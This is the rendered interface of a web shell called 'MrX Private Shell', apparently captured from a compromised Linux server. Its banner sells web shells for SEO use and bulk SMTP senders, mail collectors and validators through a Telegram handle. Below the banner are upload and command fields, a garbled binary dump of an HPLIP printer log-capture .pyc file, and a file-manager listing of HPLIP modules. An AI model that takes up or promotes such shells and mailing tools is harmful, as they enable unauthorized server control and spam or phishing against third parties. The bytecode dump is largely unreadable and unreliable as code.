__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g�0���SSKJr SrSrSrSrSSKrSSKrSSKrSSK	r	SSK
r
SSK7 SSKJ
r
JrJrJr SS	KJr SS
KJrJr SSK7 SrSrS
rSr\\-rSrSr0rSrSr Sr!SqSjr"Sr#\SSS4S\-SSS4S\-SSS4SS\
RH\
RJ\
RL\
RN\
RP/
r)\RT"\\\\\)\+4SSS9r,\,R[S/SQS S!9ur.r/r0r1r2r3\Rr"S"5(a\6RuS#5 \.H�ur;r<\;S$;a	\""5 M\;S%:Xa
\""S&5 M%\;S':Xa
\""S(5 M5\;S):Xa\="\S*S+9 \>"SS 5 MM\;S,;a?\<R5R�5rA\6Ru\A5(d	\""5 M�M�\;S-;a\6RuS#5 M�\;S.:XdM�\<rM� \R�"5S:wa"\6RoS/5 \R�"5 \(df\"S0/\S19rD\"\DR�5S5rF\F(a\FR�S*5Sr\(d#\6RoS25 \R�"S35 \R�R�\5(dS4rS5\-rJ\6R�S6\J-5 \
R�"\J5urMrN\MS:wa&\6RoS7\-5 \R�"S35 \
R�"S8\-5urMrN\MS:wa\6RoS9\-5 S:\-S;-\\'S<\S='\H�rO\
R�"S>\<S?\O<35urMrN\MS:wa&\6RoS7\-5 \R�"S35 \
R�"S@\<S?\O<35urMrN\MS:wdMq\6RoSA\<S?\O<SB35 M� \ "5 \"5(du\R�"SC/SDQSE5urQrR\Q(a\RSF:Xa*\!"5 \6R�SG5 \R�"S35 \Q(a\RSE:Xa\#"SH5 \#"SI5 \#"SJ5 \
RR�\
RR�5SK5rV\6R�\6R�SL55 \R�"SMSESF/SE5urQrR\Q(a\RSE:XaO9\Q(a\RSF:Xa*\!"5 \6R�SG5 \R�"S35 M�\
R�"SN5urMrN\MS:wa\6RoSO5 \6R�SP\-5 \"5(d�\R�R�SH5(a2\
R�"SQ\-5urMrN\MS:wa\6RoSRSH-5 \R�R�SI5(a2\
R�"SS\-5urMrN\MS:wa\6RoSRSI-5 \R�R�SJ5(a2\
R�"ST\-5urMrN\MS:wa\6RoSRSJ-5 O�\6R�SU5 SV\V-rJ\R�"\JSW\--5rM\MS:wa\6RoSX5 \6R�SY5 SZ\V-rJ\R�"\JS[\--5rM\MS:wa\6RoS\5 \H%rO\R�"S]\\O<S^\<S?\O<S_35rMM' \
R�"S`\-5urMrN\MS:wa\6RoSaSb-5 Sc\-rJ\R�"\J5rM\MS:wa\6RoS9\-5 Sd\<Se\<3rJ\6R�Sf\J-5 \
R�"\J5ur[rN\[S:wa\6RoSg\-5 O�\6R�Sh\-5 \
R�"Si\-5urMrN\MS:wa\6RoSj\-5 \6R�Sk5 \
R�"Sl\-5urMrN\MS:wa\6RoSm\-5 \!"5 \6R�S5 \6R�S5 \[S:XaY\6R�\6R�Sn\R�"5<S?\<So355 \6R�\6R�Sp55 O7\6R�\6R�Sn\R�"5<S?\<355 \6R�S5 g!\Rha-r5\6Ro\5Rp5 \""5 Sr5C5GNNSr5C5ff=f)r�)�print_functionz1.0zHPLIP logs capture Utilityz
hp-logcapturezCaptures the HPLIP log files.N)�*)�utils�tui�module�os_utils)�to_string_utf8)�Popen�PIPEz/etc/cups/cupsd.confz/etc/cups/cupsd.conf_orginalz./�hplip_troubleshoot_logsz/var/spool/cups/tmp�c��[[[5nUR5 URnUR
nUS:Xa
US:�aSnU$SnU$)N�fedoraz 21TF)�CoreInstall�MODE_INSTALLER�INTERACTIVE_MODE�
get_distro�distro_name�distro_version)�corer�
distro_ver�journals    �/usr/share/hplip/logcapture.py�
is_journalr3sV����(8�9�D��O�O���"�"�K��$�$�J��h��:��#5����N����N�c�X�SnS[<S[<3n[RSU-5 [R
"U5up#US:wa[R
S[-5 S[-n[RSU-5 [R
"U5up#US:XGa�S	[-n[RS
U-5 [R"U5nUS:wa[R
S[-5 Sn[R"S5(a8[RR[R"S5S5S
-nO�[R"S5(a?[RR[R"S5S5S[--nO<[RRS5(aSnO[R
S5 U(a8[RSU-5 [R
"U5up#US:XaSnU$)NF�cp -f � zBackup CUPS conf file. cmd =%srz Failed to take back cups file=%szgrep 'LogLevel warn' %szcmd= %sz;sed -i 's/LogLevel.*warn/LogLevel debug
hpLogLevel 15/' %s z%Changing 'Log level' to debug. cmd=%sz-Failed to update Loglevel to Debug in cups=%s�service�
 cups restart�	systemctl� restart %s.service�/etc/init.d/cups�/etc/init.d/cups restart�:service command not found.. Please restart cups manually..�CUPS restart cmd = %sT)�	CUPS_FILE�CUPS_BACKUP_FILE�log�debugr�run�error�os�system�which�path�join�service_name�exists��result�cmd�sts�outs    r�
enable_logr9As���
�F� �!1�2�C��I�I�.�s�2�3��I�I�c�N�G�C�
�a�x��	�	�4�Y�>�?�	"�)�+�C��I�I�y��}���I�I�c�N�G�C�
�a�x�L�Y�V���	�	�9�#�=�>�
�Y�Y�s�^���!�8��9�9�D�Y�N�O����;�;�y�!�!������e�k�k�)�4�i�@��P�3�
�[�[��
%�
%������e�k�k�+�6��D�EZ�[g�Eg�g�3�
�W�W�^�^�.�
/�
/�+�3��9�9�Q�R���9�9�,�S�0�1��Y�Y�s�^�7�3��Q�h��v��Mrc��SnS[<S[<3n[RSU-5 [R
"U5up#US:Xa\S[-n[RSU-5 [R
"U5up#US:wa[R
S[-5 O[RS	[-5 [RS
5 Sn[R"S5(a8[RR[R"S5S5S-nO�[R"S
5(a?[RR[R"S
5S
5S[--nO<[RRS5(aSnO[RS5 U(a8[RSU-5 [R
"U5up#US:XaSnU$)NFrrz Restoring CUPS conf file. cmd=%srzrm -f %sz Removing Temporary file.. cmd=%sz-Failed to remove the Temporary backup file=%sz'Failed to restore cups config file = %szRestarting CUPS servicerr r!r"r#r$r%r&T)r(r'r)r*rr+�warnr,r/r-r0r1r2r3r4s    r�restore_loglevelsr<ish��
�F�'�	�2�C��I�I�0��4�5��y�y��~�H�C�
�a�x��&�&�s�
�y�y�3�C�7�8����3��w�s�

��(��H�H�D�EU�U�V��
�y�y�:�9�D�E��I�I�'�(��C��{�{�9���
�W�W�\�\�%�+�+�i�0�)�
<�_�
L�s�	���[�	!�	!�
�W�W�\�\�%�+�+�k�2�K�
@�AV�Wc�Ac�
c�s�	�����*�	+�	+�
'�s�
�y�y�M�N�
��	�	�)�#�-�.��)�)�C�.����!�8��6��Mrc���US:Xa[R"[[5 [R"[
U[[[5 [R"S5 g)N�textr)	r�	log_title�	__title__�__version__�format_text�USAGE�__mod__�sys�exit)�typs r�usagerH�s8��
�f�}�
���	�;�/�	���e�S�)�W�k�B��H�H�Q�Krc��[RRU5(Ga�Sn[RRSX4-5(d([RRSX4-5(aYUS-
n[RRSX4-5(aM/[RRSX4-5(aMY[R"SXU4-5up#US:wa[
R
SU-5 gSU-n[R"U5nUS:wa[
RSU-5 [R"S	5(aX[R"S
X4-5up#US:wa[
RSXU4-5 g[
RSXU4-5 g[
RSXU4-5 gg)
N�z%s.%dz%s.%d.gzzcp %s %s.%drzFailed to archive %s log filezcat /dev/null > %szFailed to clear the %s log file�gzipz
gzip %s.%dz$Existing %s log file copied to %s.%dz'Existing %s log file copied to %s.%d.gz)r-r0r3rr+r)r,r�executer;r/�info)�strLog�iArchr7r8r6s     r�backup_clearLogrP�so��	�w�w�~�~�f������g�g�n�n�W�f�_�4�5�5������
�TZ�Sb�Hb�9c�9c��A�I�E��g�g�n�n�W�f�_�4�5�5������
�TZ�Sb�Hb�9c�9c��)�)�M�6�5�*A�A�B����!�8��I�I�5�f�<�=�&��/�C��"�"�3�'�C��a�x����:�6�A�B��{�{�6�"�"��)�)�\�6�/�%A�B����!�8��H�H�C�V�UZ�D[�[�\��H�H�F��X]�G^�^�_����?��QV�@W�W�X�'r�nameTz-Usage: [su -c /sudo] %s [USER INFO] [OPTIONS]�summaryze.g. su -c '%s')z[USER INFO]r
�headingF)z)User name for which logs to be collected:z--user=<username> �optionF)�run_as_root_ok�quietzhl:g:r)�helpz	help-restzhelp-manz	help-desczlogging=r*zuser=F)�handle_device_printer�HPLIP_DEBUGr*)z-hz--helpz--help-rest�restz
--help-man�manz--help-descr)�end)z-lz	--logging)z-gz--debugz--userzIlogCapture needs root permissions since cups service restart requires....�who)�stdoutzAFailed to get the user name. Try again by passing '--user' optionrJz/tmpzmkdir -p %sz"Creating temporary logs folder =%sz'Failed to create directory =%s. Exitingz
chmod 755  %sz$Failed to change permissions for %s.z/home/z/.hplipz/root/.hplip�rootz	mkdir -p �/zchmod 755  z!Failed to change permissions for �.zVArchiving system logs (i.e. syslog, message, error_log). Press (y=yes*, n=no, q=quit):)�y�n�qrbrdz	User exitz/var/log/syslogz/var/log/messagesz/var/log/cups/error_logz%Y-%m-%d %H:%M:%SzT
Please perform the tasks (Print, scan, fax) for which you need to collect the logs.z1Are you done with tasks?. Press (y=yes*, q=quit):zhp-checkzFailed to run hp-check commandz$Copying logs to Temporary folder =%sz#cp -f /var/log/syslog %s/syslog.logzFailed to capture %s log file.z'cp -f /var/log/messages %s/messages.logz3cp -f /var/log/cups/error_log %s/cups_error_log.logz(Collecting cups logs from system journalz+journalctl -u cups.service -e --since '%s' z> %s/cups_error.logz#Failed to capture logs from journalz'Collecting messages from system journalzjournalctl --since '%s' z> %s/messages.logz'Failed to capture messages from journalrz/*.log  z 2>/devnull zmv -f ./hp-check.log %szFailed to capture %s log files.z./hp-check.logzchmod 666  %s/*.logz	tar -zcf z.tar.gz zCompressing logs. cmd =%szFailed to compress %s folder.z$Changing Permissions of ./%s.tar.gz zchmod 666 -R ./%s.tar.gzz+Failed to change permissions for %s.tar.gz.zRemoving Temporary log files..z	rm -rf %sz2Failed to remove temporary files. Remove manually.zLogs are saved as z.tar.gzzXPlease create a bug @https://bugs.launchpad.net/hplip/+filebug and upload this log file.)r>)]�
__future__rrAr@rD�__doc__r-rE�getopt�glob�datetime�base.g�baserrrr�base.sixextr	�
subprocessr
r�installer.core_installr'r(�LOG_FOLDER_PATH�LOG_FOLDER_NAME�	LOG_FILES�TMP_DIR�	USER_NAME�USERSrr9r<rHrP�
USAGE_OPTIONS�
USAGE_HELP�USAGE_LOGGING1�USAGE_LOGGING2�USAGE_LOGGING3rC�Moduler�mod�parseStdOpts�opts�
device_uri�printer_name�mode�
ui_toolkit�loc�GetoptError�er)r,�msg�getenv�	set_level�o�a�print�
clean_exit�lower�strip�	log_level�getuidrF�pout�communicate�output�splitr0r3r6r*r+r7r8�u�enter_choice�ok�
user_inputr;�strftime�now�log_timerM�boldr.rL�sts_compress�getcwd�rr�<module>r�s���,&���(�	�
��
-��	�
�
����+�+�&�"�$�
 �	�/����)��
�O�
+�	�
��
�	���	�#�P�B�Y�0�2�v�t�	$�
9�G�
C�R��TX�	Y�
�G�
#�B�y��	6�	.�	]�	�	�	�	�	�	�	�	�	�u�3�3�U�5I�5I�	
���
�-�-���K��%�%�'�t�4�I�C�����*u�MR��S�:�D�*�l�D�*�c��9�9�]����M�M�'���D�A�q����
��	
�m�	�
�f�
�	
�l�	�
�e��	
�m�	�
�g�3���1�U��	
�!�	!��G�G�I�O�O�%�	��}�}�Y�'�'��G�(�
��	��
�
�g��	
�h���	�/
�6�9�9�;�!���I�I�Y�Z��H�H�J���%���&�D�
�D�,�,�.�q�1�
2�F�
��L�L��%�a�(�	���	�	�U�V������	�w�w�~�~�g����G��I����	�	�
.�s�
2�3��9�9�S�>���S��!�8��9�9�
6�y�
@�A��8�8�A�;�
�)�)�O�I�-�
.���C��!�8��I�I�4�i�@�A��)�#�I�-��i����f�
�	�A��y�y�9�Q�7�8�H�C��
�a�x�
�y�y�:�9�D�E�
�x�x��{��i�i�I�a�8�9�G�C��
�a�x��	�	�Y�q�I�J�
����|�|��$�$�%}�M�OR�S�M�B�z�
��s�"�������������	�j�C���)�*��+�,��1�2�
�� � �)�)�(�*;�*;�*?�*?�*A�BU�V�H��H�H�S�X�X�m�
n�o��#�#�$W�Y\�]`�Xa�cf�g�M�B�z�	�j�C��
�
�:��$���������������)�)�J�
���C��!�8��I�I�.�/��	�	�
0��
:�;��|�|�	�w�w�~�~�'�(�(��)�)�B�9�L�M���C��!�8��9�9�5�7H�I�J�	�w�w�~�~�)�*�*��)�)�E�i�O�P���C��!�8��9�9�5�7J�K�L�	�w�w�~�~�/�0�0��)�)�Q�R[�[�\���C��!�8��9�9�5�7P�Q�R���I�I�8�9�
7��
A�C�
�)�)�C�/�	�9�9�
:�C�
�a�x��	�	�7�8��I�I�7�8�
$�h�
.�C�
�)�)�C�-�i�7�7�
8�C�
�a�x��	�	�;�<�	�A�
�)�)��q��)�A�N�
O�C�
��)�)�-�i�7�
8���C��!�8��I�I�/�1A�B�C��i�'�����s����!�8��I�I�4�i�@�A�� /�y�9���	�	�
%�c�
)�*��9�9�S�>���S��1���I�I�-�y�9�:��I�I�4�_�D�E��i�i�2�O�D�E�G�C��
�a�x��	�	�?��K�L��I�I�.�/��i�i��I�-�.�G�C��
�a�x��	�	�F�	�R�S��������������1���H�H�S�X�X�����_�U�
V�W��H�H�S�X�X�p�
q�r��H�H�S�X�X�����_�M�
N�O�������e�����I�I�a�e�e��	�G�G���s�<2d�e�"d<�<e

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 189 B 0644
align.cpython-313.pyc File 10.93 KB 0644
check-plugin.cpython-313.pyc File 11.51 KB 0644
check.cpython-313.pyc File 39.59 KB 0644
clean.cpython-313.pyc File 8.6 KB 0644
colorcal.cpython-313.pyc File 11.17 KB 0644
config_usb_printer.cpython-313.pyc File 7.77 KB 0644
devicesettings.cpython-313.pyc File 2.67 KB 0644
diagnose_plugin.cpython-313.pyc File 3.82 KB 0644
diagnose_queues.cpython-313.pyc File 4.46 KB 0644
doctor.cpython-313.pyc File 15.41 KB 0644
fab.cpython-313.pyc File 28.08 KB 0644
faxsetup.cpython-313.pyc File 2.52 KB 0644
firmware.cpython-313.pyc File 7.01 KB 0644
hpdio.cpython-313.pyc File 6.89 KB 0644
hpssd.cpython-313.pyc File 25.29 KB 0644
info.cpython-313.pyc File 7.31 KB 0644
levels.cpython-313.pyc File 7.84 KB 0644
linefeedcal.cpython-313.pyc File 2.61 KB 0644
logcapture.cpython-313.pyc File 16.48 KB 0644
makecopies.cpython-313.pyc File 12.99 KB 0644
makeuri.cpython-313.pyc File 5.47 KB 0644
pkservice.cpython-313.pyc File 3.49 KB 0644
plugin.cpython-313.pyc File 15.96 KB 0644
pqdiag.cpython-313.pyc File 2.54 KB 0644
print.cpython-313.pyc File 4.96 KB 0644
printsettings.cpython-313.pyc File 2.96 KB 0644
probe.cpython-313.pyc File 8.23 KB 0644
query.cpython-313.pyc File 4.83 KB 0644
scan.cpython-313.pyc File 79.96 KB 0644
sendfax.cpython-313.pyc File 23.76 KB 0644
setup.cpython-313.pyc File 36.12 KB 0644
systray.cpython-313.pyc File 5.18 KB 0644
testpage.cpython-313.pyc File 6.28 KB 0644
timedate.cpython-313.pyc File 4.07 KB 0644
toolbox.cpython-313.pyc File 10.38 KB 0644
uiscan.cpython-313.pyc File 1.45 KB 0644
uninstall.cpython-313.pyc File 4.21 KB 0644
unload.cpython-313.pyc File 34.71 KB 0644
upgrade.cpython-313.pyc File 17.95 KB 0644
wificonfig.cpython-313.pyc File 2.44 KB 0644
Filemanager